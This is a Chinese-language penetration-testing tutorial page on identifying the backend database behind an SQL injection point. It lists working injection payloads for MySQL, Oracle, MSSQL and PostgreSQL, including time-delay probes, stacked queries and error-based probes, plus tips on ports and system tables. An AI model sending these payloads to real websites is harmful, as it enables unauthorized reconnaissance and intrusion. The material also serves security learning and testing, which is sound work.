数据库识别
数据库识别
确认了注入点之后,我们需要识别这个web端使用的数据库,因为不同的数据库注入的方式不一样,后期利用的手法和条件也不一样
提示
核心就是利用数据库特有的一些语法或者函数来判断,毕竟要满足该数据库的语法后SQL语句才能正常执行,下面的例子不全面,只给大家提供一个思路,最明显的就是休眠函数
MySQL
空格--空格就是mysql的行内注释,根据具体情况是否添加
| 描述 | 语句 |
|---|---|
| sleep函数 | id=1'-SLEEP(1)=0 LIMIT 1 -- |
| BENCHMARK函数 | id=1'-BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 -- |
| 版本信息 | select @@versionselect version() |
| 错误信息 | id=1' |
| 特有函数 | select connection_id()select last_insert_id()select row_count |
Oracle
| 描述 | 语句 |
|---|---|
| 默认表 | id=1'UNION SELECT 1 FROM v$version --select banner FROM v$versionselect banner FROM v$version WHERE rownum=1 |
MSSQL
| 描述 | 语句 |
|---|---|
| WAITFOR 函数 | page.asp?id=';WAITFOR DELAY '00:00:10'; -- |
| 堆叠查询默认变量 | page.asp?id=sql'; SELECT @@SERVERNAME -- |
| 错误消息(根据返回的错误信息判断) | page.asp?id=' |
错误消息(如果id参数是整数, 则@@SERVERNAME变量的字符串值可能导致转换错误) |
page.asp?id=@@SERVERNAME |
错误消息(如果id参数是整数, 则@@SERVERNAME变量的字符串值可能导致转换错误) |
page.asp?id=0/@@SERVERNAME |
| 常量 | @@pack_received @@rowcount |
PostgreSQL
| 描述 | 语句 |
|---|---|
| 休眠函数 | page.jsp?id=' and (select pg_sleep_for('5 sec')) is null -- a |
一些经验
| 方法 | 数据库 |
|---|---|
| 常用搭配 | asp => mssql、access aspx => mssql php => mysql、postgresql java => mysql、oracle、mssql |
| 默认端口 | oracle => 1521 mssql => 1433 mysql => 3306 postgresql => 5432 |
| 数据库特有函数 | pg_sleep() => postgresqlbenchmark() => mysqlwaitfor delay => mssqlDBMS_PIPE.RECEIVE_MESSAGE() => oracle… |
| 特殊符号 | ; => 字句查询标识符,postgresql、mssql 默认可堆叠查询# => Mysql 注释符 |
| 特定表名 | information_schema => mssql,postgresql,mysqlpg_tables => postgresqlsysobjects => mssqlall_tables,user_tables => oracle |